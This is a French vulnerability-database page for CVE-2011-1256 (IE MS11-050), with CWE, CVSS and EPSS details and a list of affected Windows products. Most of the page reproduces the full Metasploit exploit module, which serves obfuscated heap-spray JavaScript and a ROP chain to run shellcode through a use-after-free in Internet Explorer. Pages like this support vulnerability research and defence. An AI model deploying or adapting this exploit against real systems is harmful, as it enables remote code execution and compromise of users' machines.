Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 17409
Date de publication : 2011-06-16 22:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: ms11_050_mshtml_cobjectelement.rb 12962 2011-06-17 01:56:20Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil,
})
def initialize(info={})
super(update_info(info,
'Name' => "MS11-050 IE mshtml!CObjectElement Use After Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Internet Explorer. The
vulnerability occurs when an invalid <object> tag exists and other elements overlap/cover
where the object tag should be when rendered (due to their styles/positioning). The
mshtml!CObjectElement is then freed from memory because it is invalid. However, the
mshtml!CDisplay object for the page continues to keep a reference to the freed <object> and
attempts to call a function on it, leading to the use-after-free.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12962 $",
'Author' =>
[
'd0c_s4vage',
],
'References' =>
[
['CVE', '2011-1256'],
['OSVDB', '72948'],
['MSB', 'MS11-050'],
['URL', 'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
# In IE6 the mshtml!CObjectElement size is 0xac
[
'Win XP SP3 Internet Explorer 7', # 7.0.5730.13
{
# sizeof(mshtml!CObjectElement)
'FreedObjSize' => 0xb0,
'FakeObjCount' => 0x4000,
'FakeObjCountKeep' => 0x2000,
'ForLoopNumObjects' => 3,
'FreedObjOverwritePointer'=>0x0c0c0c0c,
'FreedObjOffsetAlignSize'=>0,
'ROP' => false,
}
],
[
'Win XP SP3 Internet Explorer 8 (no DEP)', # 8.0.6001.18702
{
# sizeof(mshtml!CObjectElement)
'FreedObjSize' => 0xe0, # 0xdc rounded up
'FakeObjCount' => 0x8000,
'FakeObjCountKeep' => 0x3000,
'ForLoopNumObjects' => 5,
'FreedObjOverwritePointer'=>0x0c0c0c0c,
'FreedObjOffsetAlignSize'=>0,
'ROP' => false,
}
],
[
'Win XP SP3 Internet Explorer 8',
{
'FreedObjSize' => 0xe0, # 0xdc rounded up
'FakeObjCount' => 0x8000,
'FakeObjCountKeep' => 0x3000,
'ForLoopNumObjects' => 5,
'FreedObjOverwritePointer'=>0x0c0c0c0c,
'FreedObjOffsetAlignSize'=>2,
#'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll
'StackPivot' => 0x7E45F257, #xchg eax,esp - USER32.dll
'ROP' => true,
}
],
[
'Debug Target (Crash)', {}
],
],
'DisclosureDate' => "Jun 16 2011",
'DefaultTarget' => 0))
end
def auto_target(cli, request)
agent = request.headers['User-Agent']
if agent =~ /MSIE 8\.0/
mytarget = targets[3] # IE 8
elsif agent =~ /MSIE 7\.0/
mytarget = targets[1]
else
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
mytarget
end
# 3/22/2011
# fully patched x32 WinXP SP3, IE 8.0.6001.18702
def winxp_sp3_rva
{
#"kernel32!VirtualAlloc" => 0x7c809af1,
"kernel32!VirtualAlloc" => 0x7c809ae1,
"ntdll!memcpy" => 0x7c901db3,
}
end
def compile_rop(rop_stack)
rva = winxp_sp3_rva()
num_random = 0
rop_stack.map do |rop_val|
case rop_val
when String
if rop_val == "random"
# useful for debugging
# num_random += 1
# 0xaabbcc00 + num_random
rand(0xffffffff)
else
raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]
rva[rop_val]
end
when Integer
rop_val
else
raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"
end
end.pack("V*")
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
unless mytarget
send_not_found(cli)
return
end
end
@mytarget = mytarget
@debug = true if mytarget == targets[4]
return if ((p = regenerate_payload(cli)) == nil)
id_name = rand_text_alpha(5)
dir_name = rand_text_alpha(3)
if @debug
data = <<-DATA
<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'></object>";
document.body.innerHTML += "<a id='#{id_name}' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' ></a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='#{dir_name}'></strong>";
</script>
</body>
</html>
DATA
print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
send_response(cli, data, { 'Content-Type' => 'text/html' })
return
end
raw_shellcode = payload.encoded
shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))
spray = nil
rop_shellcode_spray = nil
obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")
if @mytarget['ROP']
rop_stack = []
0x1f.times do |i|
rop_stack << "random"
end
idx = -1
idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc" # 1:
idx += 1 ; rop_stack[idx] = "ntdll!memcpy" # 2:ret 10 to this after VirtualAlloc
idx += 1 ; rop_stack[idx] = 0x7f000000 # 1:VirtualAlloc:lpAddress
idx += 1 ; rop_stack[idx] = 0x4000 # 1:VirtualAlloc:dwSize
idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000) # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
idx += 1 ; rop_stack[idx] = 0x40 # 1:VirtualAlloc:flProtect rwx
idx += 1 ; rop_stack[idx] = 0x7f001000 # 3:into this after memcpy
idx += 1 ; rop_stack[idx] = 0x7f001000 # 2:memcpy:dst
idx += 1 ; rop_stack[idx] = 0x23000100 # 2:memcpy:src
idx += 1 ; rop_stack[idx] = 0x2fff # 2:memcpy:size
# align the rest of it
back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length)
rop_stack = back + rop_stack
rop_stack << @mytarget['StackPivot']
# align the stack for 0c0c0c0c
front = rop_stack.slice!(0, 19)
rop_stack = rop_stack + front
# resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc)
rop = compile_rop(rop_stack)
nops = make_nops(0x1000 - raw_shellcode.length)
nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))
#spray up to 0x23000000
rop_shellcode_spray = <<-JS
var shellcode = unescape("#{shellcode}");
var nops = unescape("#{nops}");
while(nops.length < 0x1000) nops += nops;
var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;
while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;
var shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);
for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
JS
spray = rop
shellcode = ""
else
spray = obj_overwrite_ptr
end
spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))
js = <<-JS
heap_obj = new heapLib.ie(0x20000);
var heapspray = unescape("#{spray}");
while(heapspray.length < 0x1000) heapspray += heapspray;
var shellcode = unescape("#{shellcode}");
var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;
var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};
var front = heapblock.substring(0, offset);
var end = heapblock.substring(offset);
heapblock = end + front;
while(heapblock.length < 0x20000) heapblock += heapblock;
finalspray = heapblock.substring(0, (0x10000-6)/2);
for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }
#{rop_shellcode_spray}
var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");
while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }
obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);
for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
}
for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }
for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }
document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
JS
js = heaplib(js)
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
html = <<-HTML
<html>
<body>
<script language='javascript'>
#{js}
</script>
</body>
</html>
HTML
print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 8
Microsoft>>Windows_2003_server >> Version *
Microsoft>>Windows_7 >> Version *
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_server_2003 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_vista >> Version -
Microsoft>>Windows_xp >> Version *
Microsoft>>Windows_xp >> Version -
Configuraton 0
Microsoft>>Internet_explorer >> Version 9
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_vista >> Version *
References